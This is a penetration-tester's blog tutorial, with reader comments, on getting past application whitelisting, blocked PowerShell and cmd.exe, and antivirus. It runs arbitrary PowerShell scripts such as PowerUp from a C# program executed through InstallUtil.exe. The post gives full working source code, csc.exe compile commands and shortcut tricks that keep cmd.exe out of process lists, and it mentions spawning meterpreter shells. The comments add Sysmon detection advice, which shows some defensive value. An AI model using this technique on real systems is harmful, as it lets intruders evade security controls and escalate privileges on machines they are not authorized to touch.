Powershell Without Powershell – How To Bypass Application Whitelisting, Environment Restrictions & AV
Brian Fehrman (With shout outs to: Kelsey Bellew, Beau Bullock) //
In a previous blog post, we talked about bypassing AV and Application Whitelisting by using a method developed by Casey Smith. In a recent engagement, we ran into an environment with even more restrictions in place. Not only did they have AV and Application Whitelisting, but they were also blocking the use of PowerShell and cmd.exe. We have run into a few instances where this was the case. More and more, companies are realizing that normal users don’t need access to cmd.exe, PowerShell, or other cool tools. We feel that these are excellent steps to take in securing an environment. Defenders must realize, however, that there are potential ways around these restrictions.
If you’ve ever watched our Sacred Cash Cow tipping series, you’ve likely seen the method that I developed for executing the Invoke-Shellcode.ps1 file from within a C# program. Essentially, you turn the Invoke-Shellcode.ps1 file into one, long, single-line and embed it as a string variable within the C# program. The result is a stand-alone executable that spawns a meterpreter shell and bypasses most AV products. Teaser Alert: the full walkthrough for that will come in a future video blog-post.
So what does that have to do with this blog post? Well, we can extend that concept to allow us to execute any PowerShell script within an environment that doesn’t otherwise allow for PowerShell execution. How does it work? The magic is in the fact that both C# and PowerShell are effectively just frontends for the .NET framework. We are taking advantage of the fact that we can use C# executables to directly call the same .NET functionality that is accessed by PowerShell. If you wanted to, you could just write C# programs to do whatever your PowerShell scripts do…but why go through all that work when you already have the PowerShell scripts?
Enough talk, let’s do this! Create a new, blank text-file on your Windows Desktop and name it Program.cs. You can call it whatever you want…but that’s just a suggestion. Open it up in an editor, such as NotePad++. First, we need to import some functionality by adding the following using statements to the top of the file:
using System; using System.Configuration.Install; using System.Runtime.InteropServices; using System.Management.Automation.Runspaces;
In order for our program to compile properly, we need to define a class that contains a method named Main(). Typically, this would be the main entry point into our program. We will call our class the same name as our Program.cs file. Add the following lines to the end of your Program.cs file:
public class Program { public static void Main() { } }
The next step is to define the true entry point for our program. We will be using the InstallUtil.exe utility to run our program rather than executing it directly. This is the wizardry that can allow us to bypass application-whitelisting restrictions. In order to do this, we define a class named Sample that inherits from the Installer class. We then declare a method named Uninstall, which will be the true entry point to our program. In this case, the first task our program will perform will be to call a method named Exec that is part of a class named Mycode. We also add a statement above the class declaration to say that this method is expected to be run as part of an installation process. Add the following lines to the bottom of your Program.cs file:
[System.ComponentModel.RunInstaller(true)] public class Sample : System.Configuration.Install.Installer { public override void Uninstall(System.Collections.IDictionary savedState) { Mycode.Exec(); } }
The final piece to our program is to define the Mycode class and a method named Exec. The method reads in a PowerShell script that is located at the path that is defined in the @” “ notation. In this case, my PowerShell script is located at C:\Users\fmc\Desktop\PowerUp.ps1. The lines that follow this are used to set up variables and parameters that are needed in order to execute the PowerShell script. Finally, the PowerShell script is executed with the pipeline.Invoke() call. Add the following lines to the end of your Program.cs file:
public class Mycode { public static void Exec() { string command = System.IO.File.ReadAllText(@"C:\Users\fmc\Desktop\PowerUp.ps1"); RunspaceConfiguration rspacecfg = RunspaceConfiguration.Create(); Runspace rspace = RunspaceFactory.CreateRunspace(rspacecfg); rspace.Open(); Pipeline pipeline = rspace.CreatePipeline(); pipeline.Commands.AddScript(command); pipeline.Invoke(); } }
The entire Program.cs file should look as follows:
using System; using System.Configuration.Install; using System.Runtime.InteropServices; using System.Management.Automation.Runspaces; public class Program { public static void Main() { } } [System.ComponentModel.RunInstaller(true)] public class Sample : System.Configuration.Install.Installer { public override void Uninstall(System.Collections.IDictionary savedState) { Mycode.Exec(); } } public class Mycode { public static void Exec() { string command = System.IO.File.ReadAllText(@"C:\Users\fmc\Desktop\PowerUp.ps1"); RunspaceConfiguration rspacecfg = RunspaceConfiguration.Create(); Runspace rspace = RunspaceFactory.CreateRunspace(rspacecfg); rspace.Open(); Pipeline pipeline = rspace.CreatePipeline(); pipeline.Commands.AddScript(command); pipeline.Invoke(); } }
In this example, I am using Veil-Framework’s PowerUp script. Previously, you’d run the script from within a PowerShell prompt and output the results to a file by doing something like the following:
Import-Module PowerUp.ps1 Invoke-AllChecks -Verbose | Out-File C:\Users\fmc\Desktop\allchecks.txt
In order for the function to be called with this method, we need to add an explicit function call to the end of the script. Open up the PowerUp.ps1 script and add the function call to the very bottom of the file. Make sure to name your Out-File parameter to suit your environment. Save the script and exit.
Invoke-AllChecks -Verbose | Out-File C:\Users\fmc\Desktop\allchecks.txt
Now we need to compile our program. We are going to use the csc.exe utility to perform the compilation. We have to pass in a couple of flags in order for the program to properly compile. The following command can be used to compile the Program.cs file and generate an executable named powerup.exe:
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__ 31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:anycpu /out:C:\Users\fmc\Desktop\powerup.exe C:\Users\fmc\Desktop\Program.cs
But…wait…what if cmd.exe is locked down? No worries. Open File Explorer and navigate to:
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\
Right-click on the csc.exe file and choose Create shortcut. You will get a message saying that you can’t create a shortcut there and it will prompt you to create one on your desktop. Just click yes.
Now, head to your desktop. Right-click the csc.exe shortcut and choose Properties.
Click on the Shortcut tab, select all of the text in the Target field, and then replace it with the following text (making sure to replace C:\Users\fmc\Desktop\powerup.exe with a filename that will match your environment):
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__ 31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:anycpu /out:C:\Users\fmc\Desktop\powerup.exe
Then, click Apply and close the Properties window. What we’ve done here are specified parameters to pass into csc.exe when we use this shortcut to execute it. The Program.cs path is purposefully left off for two reasons. The main reason is that the Target field has a maximum character limit and adding in the full path to your Program.cs file will likely exceed this limit. The full path to the Program.cs file will automatically be passed as an argument to the csc.exe program during the upcoming drag-and-drop step of this tutorial.
To compile your Program.cs file, simply drag and drop the Program.cs file onto the csc.exe shortcut icon on your desktop. If everything went well, you should get a powerup.exe file on your desktop. Congrats, you just compiled a CSharp program without using the command line or Visual Studio!
Finally, we need to run our program by using the InstallUtil.exe utility. This process will be similar to how we used the csc.exe application. Navigate back to:
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\
Right-click on the InstallUtil.exe file and choose Create shortcut. You will get a message saying that you can’t create a shortcut there and it will prompt you to create one on your desktop. Just click yes.
Head to your Desktop, right-click on the InstallUtil shortcut and click Properties.
Under the Shortcut tab, delete everything in the Target field and replace with the following (making sure to change the log file name to match your environment):
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe /logfile=C:\Users\fmc\Desktop\log.txt /LogToConsole=false /U
Click Apply and then close the properties window.
Now, head back to your Desktop if you’re not already there. Drag the powerup.exe file onto the InstallUtil shortcut file.
You should see a command prompt pop up while the script executes. If you open Task Manager, however, you’ll notice that cmd.exe isn’t in the process list; only InstallUtil.exe.
We can confirm this by running the following from a Windows command prompt right after we drag the powerup.exe file onto the InstallUtil shortcut:
wmic process list full > Desktop\save.txt
From inspecting the output of the wmic command, we find that InstallUtil.exe was actually called via explorer.exe and not cmd.exe. Sweet!
Once the script finishes executing, you should find the allchecks.txt file on your desktop. Open the allchecks.txt file to inspect the output from the PowerUp.ps1 Invoke-AllChecks method.
There you have it. We have a method to execute PowerShell scripts in environments that have application whitelisting enabled and have disabled access to powershell.exe and cmd.exe. You can run virtually any PowerShell script that you want to with this. Just a few items to note though:
- Make sure your script doesn’t use Write-Host
- This will cause the program to crash
- Use Write-Output or Out-File instead
- If your script prompts for user input, use the -Force option when you insert the function call at the bottom of your PowerShell script
- There may be other characters and functions that cause issues for this method. Please let me know if you run into any and we can try to get it sorted out.
This method can also be used to bypass AV. We will give a walkthrough of that process in an upcoming video segment!
Ready to learn more?
Level up your skills with affordable classes from Antisyphon!
Available live/virtual and on-demand
Gyz
September 2, 2016 @ 1:46 am
Very Cool trick , thanks!
Esva
September 7, 2016 @ 4:16 am
Very interesting article. Thanks
One question, what if the csc.exe is blocked under group policy. Any way to work around?
Brian Fehrman (fullmetalcache)
September 7, 2016 @ 1:28 pm
Esva, we will be looking into that next =)
BJ
September 13, 2016 @ 2:33 pm
Do the Event Logs show the PS script had run? If auditing were properly setup, would this trigger an alert in a SIEM? I’m sure companies who disable PS don’t bother to monitor the PS events.
Justin Henderson
March 9, 2017 @ 9:12 pm
Unfortunately PowerShell logging will not work when PowerShell is used this way. However, you can catch it by using any product that monitors DLL image loading. A free way to do this is with Microsoft Sysinternals Sysmon. A low log configuration section specific to this can be found below:
Sysmon.exe
Microsoft Windows
Microsoft Corporation
System.Management.Automation
System.Management.Automation.ni
System.Reflection
lsass.exe
C:\Users
System.Management.Automation
System.Management.Automation
System.Reflection.Dll
This will generate an event with an Event ID of 7 that can catch this type of activity.
Brian Fehrman (fullmetalcache)
March 10, 2017 @ 1:47 pm
Hey Justin,
Thanks for the info!
It appears that installing and running sysmon requires that you disable Windows from enforcing it’s digitally-signed driver policy. Is that correct?
One thing that I have been wondering about, and that this has encouraged me to investigate, is what it looks like if I embed the DLL as part of the C# binary. I imagine System.Reflection will still show up but that isn’t necessarily malicious activity. I’m curious if System.Management.Automation will still show. I am looking into this now and will report back.
Thanks Justin!
Justin Henderson
March 10, 2017 @ 2:06 pm
Looks like my Sysmon config file syntax got stripped off the comment. If you want that email me at:
Jhenderson at tekrefresh.com
As to your questions about Sysmon requiring Windows to disable its digitally-signed drive policy it shouldn’t. I was pretty sure the Sysmon drivers are signed by the Microsoft Corporation since they are from Sysinternals. I’m running Sysmon v6 on Windows 10 x64 which enforces digitally-signed drivers.
Also, I would guess if you embed the DLL as part of a C# binary it will still be caught by Sysmon. While this would technically be a false positive you could simply push an update to Sysmon to exclude that specific file, process name, or digital signature if you sign you programs.
Brian Fehrman (fullmetalcache)
March 10, 2017 @ 3:09 pm
Haha, no worries. I figured that’s what happened and found a sample config online.
For some reason, my Windows 7 VM is throwing a fit about Sysmon. I got it installed though so that I can at least run my test.
Checking it out now and I will get back ASAP.
Tim Pierson
April 4, 2017 @ 5:47 pm
Wow how very clever!
I have a nice little utility I wrote in Powershell and it kind of mushroomed on me. Meaning it has grown into a full blow application. Now the company wants me to distribute it but I am concerned about giving away my code. I know that you can compile powershell into an .EXE file but I have no idea how secure that is. I have been told that all the compiler does is create a C# runtime and then run the powershell script in it. I assume that is one of the reasons that powershell must be installed to still make the .exe run. My question is how hard would it be for someone to extract the .ps1 script from the .EXE file? I need to do something to make it difficult to steal my code. Can you give me any ideas? I was curious about your method here…
Also would your method make the complied powershell run any faster as well?
Thanks in advance for your help…